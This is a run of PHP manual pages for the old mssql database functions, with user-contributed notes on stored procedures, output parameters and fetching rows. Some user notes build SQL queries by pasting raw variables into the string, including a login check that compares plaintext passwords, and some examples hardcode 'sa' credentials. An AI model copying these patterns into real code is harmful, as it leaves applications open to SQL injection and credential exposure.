  • PHP Manual
  • Mssql Functions
  • Moves internal row pointer

mssql_data_seek

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_data_seek — Moves internal row pointer

Description

bool mssql_data_seek ( resource $result_identifier , int $row_number )

mssql_data_seek() moves the internal row pointer of the MS SQL result associated with the specified result identifier to point to the specified row number, first row being number 0. The next call to mssql_fetch_row() would return that row.

Parameters

result_identifier

The result resource that is being evaluated.

row_number

The desired row number of the new result pointer.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_data_seek() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Select all people
$result = mssql_query('SELECT [name], [age] FROM [persons] WHERE [age] >= 13');

if (!$result) {
    die('Query failed.');
}

// Select every 4th student in the results
for ($i = mssql_num_rows($result) - 1; $i % 4; $i++) {
    if (!mssql_data_seek($result, $i)) {
        continue;
    }

    // Fetch the row ...
}

// Free the query result
mssql_free_result($result);
?>

User Contributed Notes

There are no user contributed notes for this page.


Executes a stored procedure on a MS SQL server database

  • « mssql_data_seek
  • mssql_fetch_array »
  • PHP Manual
  • Mssql Functions
  • Executes a stored procedure on a MS SQL server database

mssql_execute

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_execute — Executes a stored procedure on a MS SQL server database

Description

mixed mssql_execute ( resource $stmt [, bool $skip_results = false ] )

Executes a stored procedure on a MS SQL server database

Parameters

stmt

Statement handle obtained with mssql_init().

skip_results

Whenever to skip the results or not.

Examples

Example #1 mssql_execute() example

<?php
// Create a new statement
$stmt = mssql_init('NewBlogEntry');

// Some data strings
$title = 'Test of blogging system';
$content = 'If you can read this, then the new system is compatible with MSSQL';

// Bind values
mssql_bind($stmt, '@author',    'Felipe Pena',  SQLVARCHAR,     false,  false,   60);
mssql_bind($stmt, '@date',      '08/10/2008',   SQLVARCHAR,     false,  false,   20);
mssql_bind($stmt, '@title',     $title,         SQLVARCHAR,     false,  false,   60);
mssql_bind($stmt, '@content',   $content,       SQLTEXT);

// Execute the statement
mssql_execute($stmt);

// And we can free it like so:
mssql_free_statement($stmt);
?>

Notes

Note:

If the stored procedure returns parameters or a return value these will be available after the call to mssql_execute() unless the stored procedure returns more than one result set. In that case use mssql_next_result() to shift through the results. When the last result has been processed the output parameters and return values will be available.

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_free_statement() - Free statement memory
  • mssql_init() - Initializes a stored procedure or a remote stored procedure

User Contributed Notes

wl 04-Oct-2012 06:26
Interesting little quirk I noticed:

You can't initialize, execute, and free stored procedures in a nested fashion. e.g this pattern:

<?php
    $statement1 = mssql_init('statement1');
    //some binds and stuff
    $statement2 = mssql_init('statement2');
    //some binds and stuff
    mssql_execute($statement2);
    mssql_free_statement($statement2);
    mssql_execute($statement1);

?>

will fail when you execute statement 2.  Not only will it fail, but you won't get any results back from mssql_get_last_message(), so it's super-frustrating. The way around this is to rearrange the structure of your script so that stored procedures are executed sequentially.
skari 06-Jul-2012 11:11
want to share with you that I had a hard time with mssql_execute on a platform that was running php using FastCGI. Well, I guess the problem was that mssql_init always returned null. So after investigating this, and plus the fact that I don't have total control over the platform, I gave up and used mssql_query instead.

Using the function below, it is possible to generate most stored procedure calls, with the added benefits that one doesn't have to worry to much about datatype mappings, and that the funtion return exception codes and error message. So here goes:

<?php
function _mssql_exec_sp($storedproc,$params) {
    $varlist = "";
    $setlist = "";
    $parmlist = "";
    $outs = "";
    foreach ($params as $key => $value) {
        $quote = strpos($value['type'],'char')!==false;
        $varlist .= "@$key ".$value['type'].",\\n";
        if (isset($value['value'])) {
            $setlist .= "set @".$key."=".($quote?"'":'').$value['value'].($quote?"'\\n":"\\n");
        }
        $paramlist .= " @".$key.(isset($value['out'])?' output,':',');
        if (isset($value['out'])) {
            $outs .= "@$key as $key,";
        }
    }
    if (strlen($paramlist)) {
        $paramlist = substr($paramlist,0,strlen($paramlist)-1);
    }

    $stmt = "begin try\\n";
    $stmt .= "declare\\n";
    $stmt .= "@ret int";
    if (strlen($varlist)) {
        $stmt .= ",\\n";
        $stmt .= $varlist;
        $stmt = substr($stmt,0,strlen($stmt)-2);
    }
    else {
        $stmt .= "\\n";
    }
    $outs = "@ret as ret,".$outs;
    $outs = substr($outs,0,strlen($outs)-1);

    $stmt .= "\\n".$setlist;
    $stmt .= "exec @ret = ".$storedproc.$paramlist."\\n";
    $stmt .= "select ".$outs."\\n";
    $stmt .= "end try\\n";
    $stmt .= "begin catch\\n";
    $stmt .= "select error_number() as ret,error_message() as errorMsg\\n";
    $stmt .= "end catch\\n";
    return mssql_query($stmt);
}
?>

example call:

<?php
      $params = array(
        'socialid' => array(
            'type' => 'char(10)',
            'value' => $sid
        ),
        'cust_name' => array(
            'type' => 'varchar(20)',
            'value' => 'our name'
        ),
        'id' => array(
            'type' => 'int',
            'out' => true
        ),

    );
    $result = _mssql_exec_sp('sp_register_cust', $params);
    $row = mssql_fetch_array($result);
?>
whitep0wer at gmail dot com 05-Jan-2012 08:22
When calling a stored procedure which is using OUTPUT parameters, be sure not to pass them as NULL in mssql_bind. If you do this, the data received in output gets truncated to one character.
AgusQuiroga 21-Oct-2011 11:39
SUBJECT: No OUTPUT parameter recieved on store procedure call.

If you call a store procedure who binds data to an OUTPUT parameter on a SQL Server 7 or later no response will be produced, or an error perhaps.

From the Free TDS documentation:

Output Parameters

I'm not getting my output parameters returned, but I seem to be doing everything right!

That's not a question!

Microsoft SQL Server 7 with SP3, and later versions, quietly changed (which is to say, broke) how they respond to queries that execute stored procedures with output parameters. Earlier servers let you send a query like EXECUTE A @P OUTPUT and fetch the output parameter as a special result row (technique varying by library). Newer servers simply don't send back that data. To elicit output parameters from them, you have to use the RPC protocols such as the DB-Library dbrpcparam.
ian_channing at hotmail dot com 24-Sep-2011 04:05
Output parameters are cryptic to get out. Here's two examples, one if you have no results returned from your stored procedure, one if you do have results returned:
<?php
/**
 * using OUTPUT param with no results returned from stored procedure
 */
$outParamValue = 0;
mssql_bind($stmt, '@'.$outParamName, $outParamValue, $outParamType, $is_output = true);
mssql_execute($stmt, $skip_results = true);
/* N.B. If you don't use $skip_results = true you must use mssql_next_result as below **even if there are no results returned from the stored procedure** */
echo($outParamValue);

/**
 * using OUTPUT param with one result set returned from stored procedure
 */
$outParamValue = 0;
mssql_bind($stmt, '@'.$outParamName, $outParamValue, $outParamType, $is_output = true);
$result = mssql_execute($stmt);
echo($outParamValue); /* will still be 0 */
mssql_next_result($result); /* N.B. see the Note above about this */
echo($outParamValue); /* correct output */
?>
berk0081 at umn dot edu 07-Oct-2009 06:39
Regarding the "stored procedure execution failed" errors mentioned in previous posts -- in addition to using the data source name as defined in freetds.conf under Linux, you may encounter this error when attempting to call a stored procedure  after running a standard query with mssql_query()

Call mssql_free_result() before executing the stored procedure with mssql_execute() to clear this up.

<?php
$conn = mssql_connect($host, $user, $pass);
mssql_select_db('somedb', $conn);

// Call a simple query
$result = mssql_query('SELECT * FROM sometable', $conn);

// Release the result resource
mssql_free_result($result);

// Then execute the procedure
$proc = mssql_init('some_proc', $conn);
$proc_result = mssql_execute($proc);

// Etc...
mssql_free_statement($proc);
?>
geoff at spacevs dot com 23-May-2008 06:05
In reply to: mark dot vanrossum at bris dot ac dot uk

A much simpler solution that allows you to keep the config in the PHP script is to force the TDS version by using putenv before you connect.

<?PHP
  putenv('TDSVER', '8.0');
  $dbc = mssql_connect('123.123.123.123:1433', 'user', 'pass');
?>
Anton Schattenfeld 02-Aug-2007 04:59
To get info about table structure you can use such a query:

SELECT
  column_name,
  data_type,
  character_maximum_length,
  numeric_precision,
  column_default,
  is_nullable
FROM
  information_schema.tables t
  INNER JOIN
  information_schema.columns c
  ON
    t.table_catalog = c.table_catalog AND
    t.table_schema = c.table_schema AND
    t.table_name = c.table_name
WHERE
  (c.table_name = 'TABLE_NAME')
mark dot vanrossum at bris dot ac dot uk 03-Jul-2007 02:47
I was pulling my hair out getting the error:
  "stored procedure execution failed"
when trying to run mssql_execute but you could run:
  $results = mssql_query('sp_test');
fine.

I was connecting using the string:
  $dbserver="xxx.xxx.xxx.xxx:1433";
  $cn = mssql_connect($dbserver, $dbuser, $dbpass);

where xxx is the IP address.

It seems that this doesn't work, you need to do the following:
edit your freetds.conf file and add the connection in here, eg:
[YourServer]
        host =xxx.xxx.xxx.xxx
        port = 1433
        tds version = 8.0

Then try and connect as:
$cn = mssql_connect('YourServer', $dbuser, $dbpass);

And it should work.  No idea why it doesn't work before, took me hours to find this out!
Manda Krishna Srikanth 18-Jan-2007 05:56
While using stored procedures on SQL EXPRESS (and perhaps on SQL Server), you have to specify the column names in SELECT, instead of asterisk (*). Or else you will get some big Unicode error.

That is, instead of "select * from table",
use "select col1, col2 from table".

One more important thing, Before using mssql_execute, you MUST AND SHOULD use mssql_init. mssql_init will generate the MS Sql statement resource, which will be taken as input by mssql_execute. Here is an example,

<?php
if($conn = mssql_connect('localhost\SQLEXPRESS', 'krishna', 'srikanth')) echo 'Connected to SQLEXPRESS';

if(mssql_select_db("Northwind",$conn)) echo 'Selected DB: Northwind<BR>';

$sql_statement =  mssql_init("[Ten Most Expensive Products]", $conn);
$result=mssql_execute($sql_statement);

while ($row = mssql_fetch_assoc($result))
    print_r($row);
?>
stuhood at gmail doooot com 05-Dec-2006 09:55
If you need to get Output params from your stored procedure, make sure to use FreeTDS > 0.6.4... it has a bug that prevents some Output params from being set.
mpoletto at gmail dot com 21-Feb-2005 08:04
The constant SQLINT4 is not working with datetime. Try using SQLVARCHAR.
SQL dot User at Yandex dot Ru 12-Jul-2004 06:38
To receive output parameter from the procedure which returns one or several recordsets, try this code:

...
mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure);
while(mssql_next_recordset($result)) {
## do something
}

after listing last recordset output parameter will be available (strange...).

If you do not need output recordsets, just parameters, try this:

mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure, true);

P.S. Tested on PHP 4.3.5.
marco dot carvalho at NOSPAM dot uni-yoga dot org dot br 07-Jun-2004 10:57
<?PHP

/*This functions will help you to get SQLTYPES direct from systypes and you can associate them with PHPSQLTYPES. */

/* <font color="#007f00">Associete PHP types with systypes..xtypes,
   see <b>mssql_get_types()</b> </font>*/

if(!defined('dbMSSQL_Types'))
{
    define('dbMSSqlTypes',1);
    $MSSQL_types[127] = SQLINT4;    /* bigint*/
    $MSSQL_types[104] = SQLBIT;     /* bit*/
    $MSSQL_types[175] = SQLCHAR;    /* char*/
    $MSSQL_types[56]  = SQLINT2;    /* int*/
    $MSSQL_types[52]  = SQLINT2;    /* smallint*/
    $MSSQL_types[35]  = SQLTEXT;    /* text*/
    $MSSQL_types[48]  = SQLINT1;    /* tinyint*/
    $MSSQL_types[167] = SQLVARCHAR; /* varchar*/
    $MSSQL_types[62]  = SQLFLT8;    /* float*/
    $MSSQL_types[173] = SQLVARCHAR; /* binary*/         // Adaptation
    $MSSQL_types[61]  = SQLINT4;    /* datetime*/       // Adaptation
    $MSSQL_types[106] = SQLFLT8;    /* decimal*/        // Adaptation
    $MSSQL_types[34]  = SQLVARCHAR; /* image*/          // Adaptation
    $MSSQL_types[60]  = SQLFLT8;    /* money*/          // Adaptation
    $MSSQL_types[239] = SQLCHAR;    /* nchar*/          // Adaptation
    $MSSQL_types[99]  = SQLTEXT;    /* ntext*/          // Adaptation
    $MSSQL_types[108] = SQLFLT8;    /* numeric*/        // Adaptation
    $MSSQL_types[231] = SQLVARCHAR; /* nvarchar*/       // Adaptation
    $MSSQL_types[59]  = SQLFLT8;    /* real*/           // Adaptation
    $MSSQL_types[58]  = SQLINT4;    /* smalldatetime*/  // Adaptation
    $MSSQL_types[122] = SQLFLT8;    /* smallmoney*/     // Adaptation
    $MSSQL_types[98]  = SQLVARCHAR; /* sql_variant*/    // Adaptation
    $MSSQL_types[189] = SQLINT4;    /* timestamp*/      // Adaptation
    $MSSQL_types[165] = SQLVARCHAR; /* varbinary*/      // Adaptation
}

/* <font color="#007f00">Gets current connection systypes and shows this:

$MSSQL_types[systypes..xtype] = PutPHPSqlTypeHere  // Name_in_systypes //

</font>*/
function mssql_get_types(){
   $res = mssql_query('select name,xtype from systypes');
   echo('<pre><CODE>');
   while(($val = mssql_fetch_assoc($res))){
      echo('$MSSQL_types['.$val['xtype']."]\t= ;\t/* ".$val['name']." */\n");
   }
   print_r(phpinfo(INFO_VARIABLES));
   echo('</CODE></pre>');
}

?>
iqq-pp at extreme dot ro 30-Oct-2003 12:01
php version 4.3.2

Take care when using stored procedures returning multiple results, seems that if the first result is empty, the pointer will be automatically moved to the next result. As in this example:

CREATE PROCEDURE test
AS
SELECT 0 as zero WHERE 0 = 1
SELECT 1 as one
GO

After executing the stored procedure, mssql_num_rows will report one, ignoring the first result.
eliseo at olografix dot org 12-Oct-2003 07:23
After many attempt I resolved the return output of a store procedure on Win2003 box, MSSQL7 and PHP 4.3.
I have problem to process the result from store procedure strCheckUser, and I must to set a R variable, that must be returned from the last select operation (Select @R as R) see below.

----------------------------
/*
Store procedure to CheckUser Exist
*/
CREATE PROC strCheckUser
(
@AccountLO varchar(20) ,
@PasswordLO varchar(20)
)
AS
BEGIN
DECLARE @R INT
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO and PasswordLO=@PasswordLO
) = 0
SET @R = '0'
END

BEGIN
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO  and PasswordLO=@PasswordLO
) = 1
SET @R = '1'

END

Select @R as R

GO
-------------------------

This is the php page
<?

.....
.....
$AccountLO="myuser";
$PassowrdLO="mypass";

$result=mssql_query("strCheckUser ".$AccountLO.", ".$PasswordLO."");
//echo gettype($result);
$arr = mssql_fetch_assoc($result);
echo $arr["R"];

......
......
?>

No $arr["R"] print 1 if the user exist and 0 if no exist

Thanks to duarte at uma dot pt for the suggestion
Bye eliseo@olografix.org
gstratfordATdas.ca 06-Aug-2003 10:25
The easiest way to use a stored procedure is:

$Result = mssql_query("StoredProcedureName Var1, Var2, Var3...");

$Result is then just like any other result set. You can get the output parameters by:

$arr = mssql_fetch_row($Result);

$OutputParam1 = $arr[0];
$OutputParam2 = $arr[1];
brian_caughlin at hotmail dot com 06-Aug-2003 08:04
Regarding Output Parameters and RETVAL: A change that appears to have begun around 4.3.

According to the documentation and previously posted comments, if a stored procedure returns only one Recordset, you could retrieve the RETVAL and Output Params right away.  THIS IS NO LONGER THE CASE.  Beginning around 4.3, you must always use the mssql_next_result() function if any recordset is returned at all.

If you consider the example posted below by fjortizATcomunetDOTes on 26-Dec-2001...

[...]

// Execute the Stored Proc
$result=mssql_execute($stmt);

// Get the recordset
$arr=mssql_fetch_row($result);
print ("Answer: " . $arr[0] . "
" );

// NEW for 4.3: Switch to the next Recordset
// Since there was only one recordset, it will return false...
mssql_next_result($result);

// And now RETVAL and Output Params are accessible...
print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

[...]

There is also another way, and that is to use a new optional skip parameter on the execute.

mssql_execute($stmt, true);

This appears to ignore any recordsets, allowing you to get at the retval and output parameters immediately.

For more information, please see Bug #21089.
fjortizATcomunetDOTes 26-Dec-2001 03:01
After initializing a stored procedure
with mssql_init, and binding all the
parameters (and return value if needed)
with mssql_bind, you can execute the
statement with mssql_execute.

Parameters:
- stmt: statement resource obtained with
mssql_init.

From here, you can use any of the other
mssql_* functions to retrieve the
recordsets as if you had called
mssql_query. Any T-SQL error will also
be reported in the same way. The
variables passed by reference for OUTPUT
and RETVAL parameters will be filled
with the right values.

Now, an example:

if we have this procedure:

CREATE PROCEDURE [procedure]
(
   @sval varchar(50) OUTPUT,
   @intval int OUTPUT,
   @floatval decimal(6,4) OUTPUT
) AS

if @intval is null
    select '@intval is null' as answer
else
    select '@intval is NOT null' as answer

set @sval='Hello ' + @sval
set @intval=@intval+1
set @floatval=@floatval+1

return 10

We can use this PHP code:

<?php

$conn=mssql_connect("myhost","user","pwd");

if ($conn) {
    mssql_select_db("mydb",$conn);

    $stmt=mssql_init("procedure",$conn);
    mssql_bind($stmt,"RETVAL",&$val,SQLINT4);

    $ival=11;
    $fval=2.1416;
    $sval="Frank";

    mssql_bind($stmt,"@sval",&$sval,SQLVARCHAR,TRUE);
    mssql_bind($stmt,"@intval",&$ival,SQLINT4,TRUE);
    mssql_bind($stmt,"@floatval",&$fval,SQLFLT8,TRUE);

    $result=mssql_execute($stmt);

    $arr=mssql_fetch_row($result);
    print ("Answer: " . $arr[0] . "<br>" );
    print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

    mssql_close($conn);
}
else print("ooops!");
?>

Hope it helps. Good luck!


Fetch a result row as an associative array, a numeric array, or both

  • « mssql_execute
  • mssql_fetch_assoc »
  • PHP Manual
  • Mssql Functions
  • Fetch a result row as an associative array, a numeric array, or both

mssql_fetch_array

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array mssql_fetch_array ( resource $result [, int $result_type = MSSQL_BOTH ] )

mssql_fetch_array() is an extended version of mssql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using mssql_fetch_array() is NOT significantly slower than using mssql_fetch_row(), while it provides a significant added value.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

result_type

The type of array that is to be fetched. It's a constant and can take the following values: MSSQL_ASSOC, MSSQL_NUM, and MSSQL_BOTH.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_array() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    // The following is equal to the code below:
    //
    // while ($row = mssql_fetch_row($query)) {

    while ($row = mssql_fetch_array($query, MSSQL_NUM)) {
        // ...
    }
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

php at bricology dot com 18-Jul-2008 06:08
I just spent a few hours trying to get ntext data with this function, CASTing and CONVERTing every which way, and scouring the 'net. Nothing worked, I just got a NULL.

Then on a whim I tried it with mssql_fetch_row instead, and that DOES work.
chu61 dot tw at gmail dot com 28-Dec-2007 02:20
To write Unicode (nvarchar) to SQL2000/2005 use PHP
用PHP在SQL Server 存取Unicode資料
----------------------------------------------

Let's assume, we have following data table, that allows us to store unicode values (using UCS-2 encoding):

    create table mytable    (
        myfield nvarchar (100) null
    );

Below is the code to work with:

<?php
    $link = mssql_connect('dbhost', 'username', 'password');
    mssql_select_db('database', $link);

    // sending data to database
    $utf8 = 'some unicode UTF-8 data';  // some Greek text for example ;)
    $ucs2 = iconv('UTF-8', 'UCS-2LE', $utf8);

    // converting UCS-2 string into "binary" hexadecimal form
    $arr = unpack('H*hex', $ucs2);
    $hex = "0x{$arr['hex']}";

    // IMPORTANT!
    // please note that value must be passed without apostrophes
    // it should be "... values(0x0123456789ABCEF) ...", not "... values('0x0123456789ABCEF') ..."
    mssql_query("insert into mytable (myfield) values ({$hex})", $link);

    // retrieving data from database
    // IMPORTANT!
    // please note that "varbinary" expects number of bytes
    // in this example it must be 200 (bytes), while size of field is 100 (UCS-2 chars)

    $result = mssql_query("select convert(varbinary(200), myfield) from mytable", $link);

    while (($row = mssql_fetch_array($result, MSSQL_BOTH)))
    {
        // we get data in UCS-2
        // I use UTF-8 in my project, so I encode it back
        echo(iconv('UCS-2LE', 'UTF-8', $row['myfield']));
    }

    mssql_free_result($result);
    mssql_close($link);
?>
blood - demon at gmx dot net 17-Aug-2007 11:22
Note that if you fetch varchar fields larger than 255 letters the result will be cut off at 255 letters.

To prevent this you have to do a CONVERT(TEXT,data_field) for this fields in your select clause.
Bryan 05-Jul-2007 06:05
Calling this function with the option second parameter is causing a "Wrong parameter count" message. If you run into this problem, you can get the same effect by calling different functions:

mssql_fetch_array: MSSQL_BOTH
mssql_fetch_assoc: MSSQL_ASSOC
mssql_fetch_row: MSSQL_NUM
admin at talente dot ro 19-Oct-2005 05:36
There is any option like skip or go next ! I am using a while clause inside:
  While ($row=mysql_fetch_array($result))
    while ($row["Brand_name"]=$gr){
     ....
So I am printing different TD from classes and when I finish cycling the fields I want to "skip" to next record !
gillis dot phpmanual at no-spam-for-megillis dot fi 06-Jul-2005 10:19
Allthough probably obvious to people who have used the functions available to other databases it during writing is not present in this entry that result type can be entered as MSSQL_ASSOC or MSSQL_NUM, and the default value when nothing entered being MSSQL_BOTH

//Gillis Danielsen
archwisp at gmail dot com 26-Oct-2004 04:44
In response to my last post:

After further testing, it appears as though the null column bug only affects windows installations. On my linux installation using freetds-0.61.2, the function behaves properly. It must exist either in the php_mssql.dll or the Microsoft connection libraries. And since I use this functionality through ASP as well (which uses the Microsoft connection libraries), it would lead me to believe that it's an issue within the php_mssql.dll.
archwisp at gmail dot com 25-Oct-2004 11:28
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"

******

After extensive testing, the above statements both seem to be true. You *can* distinguish between 0 and null values in PHP; however, the mssql_fetch_array function does not set null colums to the php NULL value.

if ($row['Null_Column'] === 0) { print('pass'); }

A null column passes the above test. Seems to be a bug in the function.
Derek Ethier 25-Feb-2004 12:06
The array_walk function is also useful for stripping the whitespace returned in an mssql_query.

function modify_field(&$array) {
    $array = trim($array);
}

$query = "select * from dbo.table where value = '0'";
$result = mssql_query($query) or die;

while ($row = mssql_fetch_array($result)) {
    // This will call the above function.
    array_walk($row, 'modify_field');
    array_push($eventresults, $row);
}

An added benefit is that you can expand the modify_field function to handled unexpected returned column data.
hackajar matt yahoo trot com 24-Jan-2004 12:11
from php-dev mailing list article -
#26012 [Bgs]: mssql_fetch_array

"Previously mssql data was always rtrimed, however that's wrong because it modifies the original data. This caused a problem for people who needed those trailing space. Ultimately, the job of database extension is to fetch the data as is (like other db extensions already do) and not to mangle it in any way."

moving from <4.3.4 to a higher version you will have this now:

$query = "Select dumb_spaces from dbo.table where weak_sause = 'true'";
$result = mssql_query($query) or die("Spicy Sause! Query = $query");

while($line = mssql_fetch_array($result, MSSQL_ASSOC) {
     foreach($line as $bs_trim) {
          //Trim whitespace from end of query
          $bs_trim = rtrim($bs_trim);
          echo "Clean!".$bs_trim;
     }
}
herriedm at yahoo dot com 25-Jun-2003 06:21
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"
flatcable2000 at yahoo dot com 15-Jan-2003 06:22
Apparently php 4.0.6 does not support the second parameter. When used the error sounds
"Wrong parameter count for mssql_fetch_array"
shaver at qspeed dot com 10-Jan-2003 11:08
Note that the second parameter is the same as the msql version of this function (http://www.php.net/manual/en/function.msql-fetch-array.php) with the constants (MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH) changing to MSSQL_.

Also note that if you don't specify this parameter you'll get both the numbers and column names, which can cause some frustration.
ask at manniac dot de 05-Jun-2002 03:13
It seems that this function creates arrays wich keys can not be longer than 30 chars. So when you're having a DB-field like "this_is_a_very_long_db_field_name"
its array-key is cut off after 30 chars and you will have to access the value with
rs["this_is_a_very_long_db_field_n"]


Returns an associative array of the current row in the result

  • « mssql_fetch_array
  • mssql_fetch_batch »
  • PHP Manual
  • Mssql Functions
  • Returns an associative array of the current row in the result

mssql_fetch_assoc

(PHP 4 >= 4.2.0, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_assoc — Returns an associative array of the current row in the result

Description

array mssql_fetch_assoc ( resource $result_id )

Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. mssql_fetch_assoc() is equivalent to calling mssql_fetch_array() with MSSQL_ASSOC for the optional second parameter.

Parameters

result_id

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_assoc() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
}
else
{
    // Print a nice list of users in the format of:
    // * name (username)

    echo '<ul>';

    while ($row = mssql_fetch_assoc($query)) {
        echo '<li>' . $row['name'] . ' (' . $row['username'] . ')</li>';
    }

    echo '</ul>';
}

// Free the query result
mssql_free_result($query);
?>

User Contributed Notes

simonh at dreameyemedia dot com 28-Dec-2008 11:35
With the code mentioned above and in relation to a MSSQL query.

When using the following statements  to retrieve dat "fetch_assoc" then running a split statement PHP it then into a array it will not pass the data retrieved will show correctly in a XML document created by the DOM object.

<?php
require("phpsqlajax_dbinfo.php");

// Start XML file, create parent node

$dom = new DOMDocument("1.0");
$node = $dom->createElement("markers");
$parnode = $dom->appendChild($node);

// Opens a connection to a DreameyeOne server
$connection=mssql_connect ("ELF\ELF", $username, $password);
if (!$connection) {
  die('Not connected : ' . mssql_error());
}

// Set the active DreameyOne database
$db_selected = mssql_select_db($database, $connection);
if (!$db_selected) {
  die ('Can\'t use db : ' . mssql_error());
}

// Select all the rows in the markers table
$query = "SELECT msg FROM ozekimessagein ORDER BY senttime DESC";
$result = mssql_query($query);
if (!$result) {
  die('Invalid query: ' . mssql_error());
}
header("Content-type: text/xml");
// Iterate through the rows, adding XML nodes for each
while ($row = @mssql_fetch_assoc($result)) {
      list ($vehicleID,$long,$lat) = split(',',$row);
// ADD TO XML DOCUMENT NODE
      $node = $dom->createElement("marker");
      $node = $dom->createElement("marker");
      $newnode = $parnode->appendChild($node);
      $newnode->setAttribute("VehicleID:",$vehicleID);
      $newnode->setAttribute("lat",$lat);
      $newnode->setAttribute("long",$long);
}

echo $dom->saveXML();

?>

Merlinman
pegas1981 22-May-2007 01:41
[quote]
WARNING:

PHP 4.3.4 introduced a BUG.

if the DB has: '' (empty string)
this function will return: ' ' (string with 1 space)

see: http://bugs.php.net/bug.php?id=26315
[/quote]
the same version PHP 5.2.0
25-Mar-2007 06:25
regarding 'The 30 character field name limit is still an issue'

Thought about using shorter column names and using the description to give more info regarding the column.

as to the
$result = mssql_query('SELECT articles.id, issues.id FROM articles, issues WHERE articles.pub_date = issues.pub_date');

try this
$result = mssql_query('SELECT articles.id as aid, issues.id as iid FROM articles, issues WHERE articles.pub_date = issues.pub_date');
jbarker at erepublic dot com 24-Jan-2007 06:35
Beware when using mssql_fetch_assoc() to return data pulled in from joined tables; if the tables have the same column names, the column mentioned last will overwrite the prior one when populating the assoc.

Example:

<?
$result = mssql_query('SELECT articles.id, issues.id FROM articles, issues WHERE articles.pub_date = issues.pub_date');
$record = mssql_fetch_assoc($result);
print_r($record);

/*
Prints:

Array
(
    [id] => 123
)

*/
?>
brandonkirsch at uses dot gmail dot domain 11-Dec-2006 07:43
We are running FreeTDS on a Linux Apache / PHP server and encountered the following error when calling mssql_fetch_assoc()

Fatal error: Call to undefined function mssql_fetch_assoc()

We were confused because *some* of the mssql commands worked, such as mssql_connect and mssql_fetch_array.  The trick to make mssql_fetch_assoc() work lies in configuring FreeTDS.  We had to change the statement to contain the --enable-msdblib switch:

./configure --enable-msdblib

We then recompiled PHP to include --with-mssql=/path/to/freetds and finally mssql_fetch_assoc() began working properly.
ben at thelocust dot org 03-Nov-2006 09:22
The 30 character field name limit is still an issue as of PHP 5.1.6, at least running under IIS.
electricsurfer.com 02-Dec-2003 05:38
WARNING:

PHP 4.3.4 introduced a BUG.

if the DB has: '' (empty string)
this function will return: ' ' (string with 1 space)

see: http://bugs.php.net/bug.php?id=26315
php at electricsurfer dot com 03-Jun-2003 08:34
WARNING: as of PHP 4.3.2

The keys in the array will only contain the 1st 30 characters of the column name if you have column names longer than that.


Returns the next batch of records

  • « mssql_fetch_assoc
  • mssql_fetch_field »
  • PHP Manual
  • Mssql Functions
  • Returns the next batch of records

mssql_fetch_batch

(PHP 4 >= 4.0.4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_batch — Returns the next batch of records

Description

int mssql_fetch_batch ( resource $result )

Returns the next batch of records.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the number of rows in the returned batch.

Examples

Example #1 mssql_fetch_batch() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Send a query
$result = mssql_query('SELECT * FROM [php].[dbo].[people]', $link, 100);
$records = 10;

while ($records >= 0) {
    while ($row = mssql_fetch_assoc($result)) {
        // Do stuff ...
    }

    --$records;
}

if ($batchsize = mssql_fetch_batch($result)) {
    // $batchsize is the number of records left
    // in the result, but not shown above
}
?>

User Contributed Notes

salvarez at jetmultimedia dot es 27-Mar-2014 01:24
If you are doing more than one mssql_query(), you must do a mssql_free_result() to avoid undesirable results of mssql_fetch_batch()
jeffreznik 12-Mar-2013 08:20
I was having issues doing two different select queries with batch sizes in the same connection.  The first one would run fine, the second one would always return one batch + 1 record (ie. batch size on the 2nd query was 250000 records, it would stop after 250001 and say it was complete even though there should have been 3m+ records).

